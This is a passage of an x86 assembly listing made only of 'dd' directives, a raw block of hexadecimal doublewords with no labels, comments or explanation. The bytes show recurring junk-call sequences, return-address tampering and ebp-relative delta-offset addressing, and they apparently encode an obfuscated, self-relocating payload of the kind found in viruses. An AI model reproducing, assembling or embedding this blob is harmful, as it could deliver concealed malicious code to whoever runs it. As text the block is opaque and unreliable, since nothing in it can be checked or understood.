0C3504000h, 0F56BC24Ch dd 2BF08B66h, 57006AD8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0BD8B834Fh, 6451045h, 57006A58h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 22118253h, 8B3ECFFCh, 4531A1B5h, 0FD82B06h, 10D88h dd 79BD8900h, 0B9064525h, 7, 83F7BF0Fh, 858900C1h, 64512D9h dd 860FD93Bh, 0EEh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 61C35242h, 3586397Eh, 81D574DCh, 8F43D5DEh dd 0D98C666Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 84C35242h, 0B3978185h, 2A69BD8Bh, 0C1F60645h, 85840F04h dd 2B000000h, 452BADB5h, 195FF06h, 6A064517h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0C1B0C356h, 0CD2D423Ch, 0B85DF3BFh, 6A5B76h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 0ADB5CFC3h, 9FF160E8h, 0E920A56Eh, 0Eh, 97029FF5h, 504CF93Ah dd 0A67CECDFh, 0C32B25AEh, 343DF98Bh, 0F000008h, 0B86h dd 13E9F800h, 0BF000000h, 2593AFC1h, 0B58BC08Bh, 64505DDh dd 13159D31h, 0C38B0645h, 6AD88Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 669F79C3h, 90B2A570h dd 860F632Dh, 0Eh, 7E952h, 20200000h, 0F87471Eh, 85C75F4Dh dd 6451FE9h, 5041657Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 16C35646h, 0FBB70F05h, 8B66C08Bh, 0A5BD81F7h dd 0D0064515h, 0F000007h, 1B85h, 75BD0B00h, 89064530h dd 452079BDh, 0A585FF06h, 8B064515h, 450981BDh, 0F98B6606h dd 15A5B5FFh, 95FF0645h, 6453121h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0DEC35747h, 0B88C6892h, 6A901C77h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 36CC353h, 7CAC9837h, 81BC35E6h, 75867BEEh dd 0B58BF940h, 6453305h, 89BD8Bh, 6A0645h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 6730C9C3h dd 2C8DB0Ah, 66FA8B5Ah, 6A56E5BEh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 19B3C352h dd 0D3CC78DCh, 0E78166A7h, 6A932Ch, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8B03C3h dd 6451059h, 6AF0BF0Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 7350C356h, 0E9345F86h dd 6, 27477EC7h, 0B523F052h, 645060Dh, 1895B58Bh, 6A0645h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 718982C3h, 66829C94h, 0E90584BEh, 0Eh, 66A23A66h, 3790FC5Dh dd 7FFB549Fh, 0B58BAFC4h, 6451321h, 0FFF872E9h, 0C38160FFh dd 9A2276Fh, 0BE8h, 0C66B8500h, 0B18197AFh, 6B4E41E5h dd 665A5EB3h, 0E974D2BFh, 8, 0A36620D8h, 0B68AEB73h, 6A6061h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 95CB1FC3h, 0DA318F24h, 8BF96095h, 45064595h, 0F1BE6106h dd 0B910D302h, 0FFFFFFFEh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 5AC35141h, 0FEBF0F9Ch, 23018D21h, 0CE810645h dd 0B46A4C4h, 30E58D21h, 8BF90645h, 4523018Dh, 68B86606h dd 1E183E3h, 32850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 0FBB9BC3h, 89665A31h dd 450B4595h, 958B6006h, 64508F5h, 61FEBF0Fh, 30E58D8Bh dd 8D290645h, 6452461h, 83FB8B66h, 850F01E1h, 8, 0C9952957h dd 58064517h, 0D18B6061h, 0FFFFFEB9h, 45950BFFh, 21064505h dd 451CE58Dh, 31858B06h, 21064502h, 4525518Dh, 8BF98A06h dd 451CE58Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 4A74CB60h, 8374BB42h, 850F01E1h dd 21h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h dd 67C35646h, 0E1BA6645h, 518D8BE3h, 0F9064525h, 0F01E183h dd 2E85h, 820F6000h, 6, 20AD858Bh, 14E80645h, 44000000h dd 34EA91Dh, 4CB9E559h, 0AAB2A790h, 2C33E5FBh, 0FD6B5BEh dd 83h dd 61615E00h, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 9BA3CE88h, 5A310FBBh, 0C2816666h dd 0FEB9638Bh, 0BFFFFFFh, 45083595h, 0B58D2106h, 6A064529h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 2490C352h, 0BA663858h, 8D21B127h, 6450599h dd 2D8589h, 8D8B0645h, 64529B5h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 8FC35545h, 0BE66BCDDh, 0A3B75716h dd 0F01E183h, 2285h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 8166386Ch, 8B564FF3h dd 4505998Dh, 1E18306h, 3850Fh, 0B70F0000h, 36061F2h, 4520AD85h dd 0FFFEB906h, 0BD89FFFFh, 6453315h, 518D21h, 6A0645h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 63BEB2C3h, 29BD8972h, 2106451Eh, 451FE98Dh, 8E806h dd 35970000h, 0E63F7C33h, 19BABCC6h, 585F6D33h, 518D8Bh dd 6A0645h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 47E085C3h, 0DE8730A9h, 0F8B83829h, 0F01E183h dd 2A85h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0C8DB0A67h, 39895A02h, 259D29EFh dd 8B064518h, 451FE98Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 6F20175Fh, 0E941C281h dd 0E1834686h, 2B850F01h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F1ABC352h dd 0B501C670h, 6452EA9h, 2645BD03h, 60610645h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 2DC35141h, 0D09C22F1h dd 0A2061A7Eh, 1E85958Bh, 85C70645h, 64515A5h, 7D0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 1BC35646h, 0A37B462Ch dd 9E944F6h, 0CF000000h, 0A0B8CFA6h, 1DE3D1C8h, 0FE9h dd 0C71FF700h, 2740F37Ch, 836E95B5h, 20D3F7EEh, 52006A61h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 6C57E343h, 1DF00CEAh, 0BD8B06BDh, 6451065h, 9D6107EBh dd 0E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 62B4CB20h, 1C1C4FE8h, 6A8DB1h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 667617C3h, 0A750CB81h, 14E8h, 2EBDB500h, 70AA7903h dd 0FA40F039h, 753DA402h, 355184AAh, 45BD8B4Dh, 58064513h dd 4BEBC18Bh, 2F0E0910h, 4B1AC53Ch, 1CA4ACDAh, 5C5CD2D4h dd 34CE00E4h, 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah dd 6734DF1Bh, 2500A6DBh, 1A00467Fh, 0D5A3EAh, 9C000000h dd 0FEC919h, 0FBFE4700h, 28000000h, 0D427E641h, 0E9C3727Dh dd 0D52h, 0BD83A0B3h, 6450025h, 4F850F00h, 0E8000000h dd 0Ch, 9A535050h, 6936C468h, 0F57A2AB8h, 68B0Fh, 0E2810000h dd 4B123D56h, 0B85Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 902C4DC3h, 4814C7C7h dd 4C2FCh, 2FDB589h, 0C08B0645h, 2C71B589h, 0BD830645h dd 64530A1h, 83097500h, 4504BDBDh, 13740006h, 0C08B5350h dd 4D0B8h, 409D8D00h, 0FF0647B3h, 83585BD3h, 4504BDBDh dd 11740006h, 0D0B85350h, 8D000004h, 47B28D9Dh, 5BD3FF06h dd 59BD8B58h, 8906451Dh, 4500E5B5h, 31C08B06h, 452F559Dh dd 0E8858D06h, 6A06491Eh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 42A8C352h, 24090161h dd 0E5075C3h, 14E990h, 2DD60000h, 60158619h, 0FFC98064h dd 64E25B53h, 0EAD0883Ah, 5650D108h, 6A905Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 430AFFC3h dd 1DD76C12h, 2105B589h, 858D0645h, 6491EA5h, 6860Fh, 95330000h dd 6450061h, 0BA665650h, 895B9141h, 6A2404h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0E45C0FC3h dd 9D29BDBEh, 0FFF50CCDh, 451EB595h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0BFBDCCC2h dd 9804750Fh, 9589A7B3h, 6453079h, 0A2D1E181h, 448B1B6Ah dd 95310424h, 6452561h, 1ED08589h, 6A0649h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FDB72C3h dd 448BFAB7h, 0B5890824h, 6450BF1h, 1EE48589h, 6A0649h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0D75BC6C3h, 60488642h, 26C38166h, 61C28B49h, 30C5958Bh dd 0BD830645h, 645073Dh, 22850F00h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 5224C352h, 95528ABFh, 0BF0F6025h, 0DFFFBBCFh, 0C6610BD1h dd 45182985h, 6A4706h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 6E154CC3h, 0B9913903h, 739B589h dd 4E80645h, 0D2000000h, 50D49AA7h, 0FB4B252h, 0BE931h dd 19570000h, 0A4E3E228h, 2ADD73Ch, 50585A0Dh, 9E8h, 5900FD00h dd 0FE899934h, 0D08B7867h, 24448B59h, 0D69BF04h, 8B3998h dd 4CB8BF66h, 4244489h, 7E960h, 77090000h, 7332FC37h, 89586168h dd 4505659Dh, 0D5B5FF06h, 0E9064509h, 0Ch, 0F6950D6Eh dd 0B08D0816h, 0C046032Dh, 78B6858Dh, 6A0648h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 5D6A7C3h, 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 38BD47C3h, 0F67A356Ch, 29EC08BBh dd 3D858937h, 8B064507h, 31BD83F9h, 64508h, 0F9850Fh, 0BD8B0000h dd 645020Dh, 182985C6h, 6A470645h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0C36FC350h dd 0E6C981D6h, 8B7663D8h, 4506718Dh, 3BE6806h, 38B32550h dd 24240481h, 0E964BFB2h, 10h, 494FBBDBh, 0E80F7CA3h, 488595B2h dd 0A0AA89CDh, 11C9BD8Bh, 0B5FF0645h, 64509D5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 78C35646h, 73B93292h dd 78B6858Dh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0C002BEC3h, 89EBE82Eh, 45188D8Dh dd 6AD0FF06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 9BD0C356h, 0B661D1D6h, 17DDA053h dd 5CF28166h, 0E9816689h, 8589F6E4h, 6450831h, 98D0Fh dd 850F0000h, 3, 83D6B70Fh, 450269BDh, 850F0006h, 0B7h dd 445BD2Bh, 11E80645h, 0CB000000h, 56150450h, 0A09A9B94h dd 0CF61081Ah, 88F054Dh, 6890Fh, 8D2B0000h, 6450629h, 2985C65Bh dd 56064518h, 7398D8Bh, 30680645h, 66B97DD6h, 81C707BBh dd 0BB092434h, 6A6D62h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 2DF557C3h, 0B5FF9EF6h, 64509D5h dd 0D91958Bh, 8D8B0645h, 64520D5h, 78B6858Dh, 6A0648h dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0B4C2F7C3h, 0B58950DBh, 6452B5Dh, 0FCD0FF5Bh, 2698589h dd 8B660645h, 98D89D0h, 0C6064501h, 45182985h, 6A6C06h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 3FE4CBC3h, 0F0E611DEh, 3FCEB966h, 0A75DF068h, 5BBF665Eh dd 24048159h, 7C5E1293h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 5AC35646h, 0EA0EB722h, 6613FCA6h, 0B5FFDE8Bh dd 6450985h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 53C35646h, 9EA0BE71h, 719CB995h, 0E65BB9D1h, 858D77ECh dd 64539FBh, 0AE9h, 4C24B400h, 51044C8Dh, 89C29FB5h, 451C89B5h dd 8BD0FF06h, 4521C19Dh, 0D4858906h, 0F06491Eh, 46AFEB7h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 15C35040h dd 0E768BBC0h, 66213470h, 817B95BFh, 60E72434h, 6A2134h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 37387EC3h, 5F640DB7h, 0FB68D18Ah, 0BF2F318Bh, 351ADA8Ah dd 0FB243481h, 802F308Bh, 6AE6E2h, 0FFCB8B66h, 452FCD95h dd 0D98B6606h, 1EE08589h, 0BD8B0649h, 6451DADh, 0BD8B006Ah dd 6453335h, 96BE8968h, 81CF8BE4h, 41772404h, 6A1B6Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 0C8C5B2C3h, 0AFB719DCh, 17959509h, 31600645h, 450D0D9Dh dd 5061F506h, 489DF8Bh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 8FCE5C99h, 34BC523Bh dd 0AE8h, 863ECC00h, 2915B93Ch, 8B2A9865h, 452EA9BDh, 0B6A5B06h dd 0AD858DF5h, 8B06491Eh, 4500E58Dh, 0DE85006h, 0D1000000h dd 9423EF63h, 1317C8B6h, 80BFA89Ah, 59F88B66h, 0E9240489h dd 0Eh, 0E12B8DC5h, 0BBCB65DAh, 0D63B535Fh, 95FF6331h dd 645073Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0BBC35747h, 0B26A7B1Fh, 0EA81662Fh, 952961D9h dd 64512C9h, 13B19D8Bh, 0B58D0645h, 6491EB7h, 7E8h, 664AE000h dd 6325A575h, 18118D8Bh, 96590645h, 50C88B66h, 96F98B66h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 9BC35242h dd 66905507h, 5650D98Bh, 7FF7BB66h, 24048959h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 9AC35040h, 0E851C820h dd 7, 9BC3226Eh, 2B8A339Bh, 4518258Dh, 95FF5F06h, 6450831h dd 1B8C0Fh, 8B0F0000h, 15h, 10E9h, 597BC400h, 903A1CEDh dd 0F3A00965h, 929A9D24h, 6AD0FF6Ch, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 2DF0C353h dd 9D8D3343h, 8B064529h, 491EE0B5h, 0D885C706h, 6491Eh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 91DBC356h, 7E80D18Bh, 840F0020h dd 2F6h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 0D9C35646h, 3B3AC915h, 64B6C89Fh, 60DF8B8Eh, 318D9D8Bh dd 0BBB20645h, 0CB816061h, 306EA741h, 6620468Dh, 1863F381h dd 89DE8B66h, 491EDC85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 0C46D289Ah, 0AAC09EA5h dd 13D18D89h, 2DE90645h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0B355C357h dd 0BFA64452h, 0CCCC848h, 40CFBF0Fh, 0FD15BB66h, 0F003880h dd 0FFFFF285h, 0DE8FFh, 0DAF80000h, 0DBD19086h, 8AA75889h dd 0FC4542Ah, 0E95BFFB7h, 27h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 70C35141h, 2AD4BA66h, 45BD8948h dd 8006451Eh, 840F5C38h, 77h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 4AC35545h, 0DA9DE491h, 60222DA9h dd 6E9h, 1F4E0D00h, 2B8F5294h, 4533558Dh, 38806106h, 38840F2Fh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0E1EC356h, 0C5B23853h, 253DB501h dd 853B0645h, 6491EDCh, 0FF7E830Fh, 8166FFFFh, 401230C9h dd 135D8589h, 0BD830645h, 6491EE4h, 65840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 7BEFC356h, 4EA6BB50h, 4891D5Eh, 775FBB24h dd 85033B1Eh, 6491EE4h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 0A1C35545h, 349469FAh, 9D8B356Ah, 6450015h dd 8B0000C6h, 0BD8B58D8h, 6452889h, 0D98B6690h, 18BB6650h dd 6A908Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 0BAE934C3h, 76AB8892h, 1ED0B5FFh, 0FFF50649h dd 491ED495h, 0BE806h, 0F75B0000h, 57FC4A36h, 1525DF5Fh dd 0D281660Dh, 0B591D1Bh, 52850FC0h, 89000000h, 45119D8Dh dd 8B666106h, 0D885C7DFh, 106491Eh, 0E9000000h, 0Bh, 0B96E2B94h dd 0D3E866C7h, 0E9A0D823h, 8Eh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 13C35141h, 0D293C111h, 8531FBD2h dd 6452211h, 6A61F5h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0E9AEAAC3h, 7, 18272DCCh, 81358E4Ah dd 11CC6h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 816647FAh, 529A79CBh, 191BD31h, 0E95A0645h dd 0FFFFFD06h, 2E19D29h, 4D680645h, 0E9EC987Bh, 12h, 0CB23B46Ah dd 14A43B69h, 0E9DF7337h, 0F5806051h, 4810460h, 6804B324h dd 55006A13h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h dd 0C3554500h, 4D4C64DCh, 8B586D34h, 0EEEB8166h, 0CF8B66C6h dd 0B9BF006Ah, 0FF6C6EFDh, 491EE0B5h, 0D8D8906h, 8B064508h dd 450D21BDh, 6995FF06h, 6A064502h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 46BDC353h dd 5F885F6Ah, 5CF6ABC6h, 858BF7B3h, 6491ED8h, 50D0BF0Fh dd 310F5250h, 585A5CB1h, 0F240489h, 688h, 418D8B00h, 80064507h dd 858DE5EAh, 6491EE8h, 50505950h, 0FE88A52h, 62BA6631h dd 89585A20h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 82AF4BC3h, 2BB58D8Bh, 858D0645h dd 6491EA5h, 50F98B66h, 48905B7h, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E9083998h dd 0Fh, 2E0315FBh, 15CF39A9h, 81DA85EFh, 0FF89F61Eh, 4520BD95h dd 0F526006h, 82h, 0BD8B5800h, 645156Dh, 0BC08B61h, 451E81BDh dd 0A1BD8306h, 64530h, 0BD830975h, 64504BDh, 50137400h dd 0B8C08B53h dd 4D0h, 0B3A79D8Dh, 0D3FF0647h, 0BD83585Bh, 64504BDh dd 50117400h, 4D0B853h, 9D8D0000h, 647B2A6h, 585BD3FFh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 64C35343h dd 0B3694337h, 0CE8B6610h, 28D9D8Bh, 0C08B0645h, 5E9h dd 49D38E00h, 0F585F0Fh, 38Ah, 0D2BF0F00h, 6A0008C2h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0E93EC353h, 14h, 4D3DB53h, 0A873F2EEh, 83EA6D9Eh, 57B43E8Ah dd 0B97BE4C7h, 5319501h, 0C08B0645h, 0B9853160h, 8B064510h dd 45187DBDh, 858D6106h, 6491EF7h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0F9C35545h, 68D0F3Fh, 8B000000h dd 450DA5BDh, 49858906h, 0E906451Eh, 75h, 0D88C6660h, 840F04A8h dd 35h, 0B5FF016Ah, 6450985h, 78B6858Dh, 0D0FF0648h, 30998589h dd 0FE8B0645h, 680CEFC1h, 20040000h, 26A006Ah, 0D6857h dd 95FF0001h, 6453099h, 32E9h, 2985C600h, 56064518h, 0C530DF68h dd 0D5B5FFA9h, 8D064509h, 4878B685h, 89D0FF06h, 45066585h dd 21858D06h, 5006451Eh, 56A206Ah, 6595FF56h, 61064506h dd 6E0C1C3h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 5F6C5A77h, 0EE552D1Ah, 0F18D8B71h dd 8B064518h, 9FDE81C0h, 0E97E2AD7h, 11h, 0F345E1FCh, 0FA05B63Bh dd 3CA06C15h, 5C2DABB3h, 0A1BD8302h, 64530h, 0BD830975h dd 64504BDh, 50197400h, 0B8C08B53h, 438h, 12FD8589h, 9D8D0645h dd 647B56Ch, 585BD3FFh, 4BDBD83h, 74000645h, 0B8535017h dd 438h, 12FD8589h, 9D8D0645h, 647B25Bh, 585BD3FFh, 30798529h dd 6A0645h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 202D67C3h, 58B0FE5h, 0BE000000h, 753406D7h dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0E99F62C3h, 0E6816611h, 0D8E87EE8h, 6A000008h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0A313C352h, 8652D54Eh, 669B2DD8h, 8B0771BFh dd 4502E1B5h, 95858906h, 6A064504h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 2891C356h dd 9E1E59AAh, 0D5B9660Bh, 879E854h, 7BB10000h, 260CFABFh dd 61858957h, 6A06450Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 3B8EC352h, 4A23A583h dd 8B1A6CA7h, 841E8FEh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 8370F4C3h, 73B43AC8h dd 820FA32Ah, 6, 139DBD89h, 85890645h, 64530F5h, 8E8h dd 0ABCD6200h, 0C1D3977h, 3DB5290Dh, 5F064504h, 0E8FBB70Fh dd 7EFh, 8B66F28Bh, 298589FAh, 6A06452Ah, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0ED99C353h dd 815BC25Ch, 4895A5EEh, 7B9E875h, 0B58B0000h, 6452A15h dd 6318589h, 6A0645h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 49099CC3h, 0AC047915h, 0C1BD8BC8h dd 0E8064515h, 77Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 8EC35141h, 1B8C1903h, 11E8462Ch, 24000000h dd 4AAA9B84h, 5D2F2338h, 8659824Bh, 51028955h, 6DBD8B50h dd 59064509h, 8185895Eh, 0E8064512h, 0Eh, 75086E98h, 2764797h dd 88101048h, 0FE8BA006h, 71DE85Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8589D0C3h dd 6453005h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 19h, 7DC35545h, 17FD050Bh, 0BD8D89EEh, 0E8064506h, 6CFh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 67C35747h dd 0C7EF8123h, 891FFCF1h, 4523AD85h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0F4A124B7h dd 0E8D7C5EBh, 67Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0B6C35343h, 6840F47h, 81000000h, 0F8F1FEE1h dd 4860F25h, 66000000h, 899FF9BFh, 451EA985h, 2D958906h dd 0E8064526h, 63Bh, 89F1B70Fh, 452C8585h, 8B665606h, 28E85FF1h dd 0F8000006h, 28CD8589h, 6A0645h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0C9CF3DC3h, 5FDE8F9h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0C90613C3h, 340D87B5h, 5A3DBEADh, 85890334h dd 64511C5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0BDC35545h, 8154FDB0h, 4E3C6DD0h, 9DB58BF8h, 0E8064500h dd 59Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 63C35545h, 2CAD3158h, 4D64CB70h, 11FDBD8Bh, 85890645h dd 64522EDh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0CEC35040h, 0F9CB93A8h, 7DBD01D3h, 0E8064501h dd 543h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 34C35141h, 15BD89F5h, 29064533h, 4510F185h, 71858906h dd 0E8064524h, 50Fh, 89F6BF0Fh, 452C5585h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 0E8F00CEAh, 4E3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0F7C35545h, 6E64964Ch, 0AD85895Ch, 6A064510h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 8B29C353h, 452CB5BDh, 6A00B006h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 5F3EC357h, 0B5B9AFCh, 81661C6Bh, 0F4DDAD9h, 6AD8B6h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 2D1545C3h, 6BA96h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 34160C3h, 860FC38Bh dd 0 dd 6604E8C1h, 6AE2F7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0BF8502C3h, 6642F787h, 8ADDFAFDh dd 0B52352EBh, 64512E1h, 0FD82B5Fh, 8Dh, 0FA8B9300h, 5E950h dd 60820000h, 934A74CBh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 6CC35040h, 59FCF4F4h, 8B769D68h, 195FFCFh dd 6A064517h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 5BAEC350h, 499589FFh, 8B064507h dd 450AD5B5h, 6A5B06h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0A5781C3h, 0FE67542Bh, 7D958DB5h dd 0E8064529h, 0Ch, 0BB73732Bh, 15966F67h, 30BD330h, 59F7BF0Fh dd 3935BB60h, 0BF0F7B9Fh, 1A8961FAh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 94C35040h, 6DAFFC82h, 819CA831h dd 0E455B8F1h, 0F98B6617h, 9F98589h, 42890645h, 51006A04h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 84CD8039h, 311958Dh, 11E90645h, 0CF000000h, 0E2BC208Eh dd 9ACB3AFh, 12E86F39h, 503ADC53h, 6A1A89h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0F3992EC3h dd 0C3492FCFh, 4428908h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0DEC35343h, 0A99D310Bh, 8B064514h, 0B5958DCFh dd 6A06451Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 0DA99C352h, 6A1A89h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 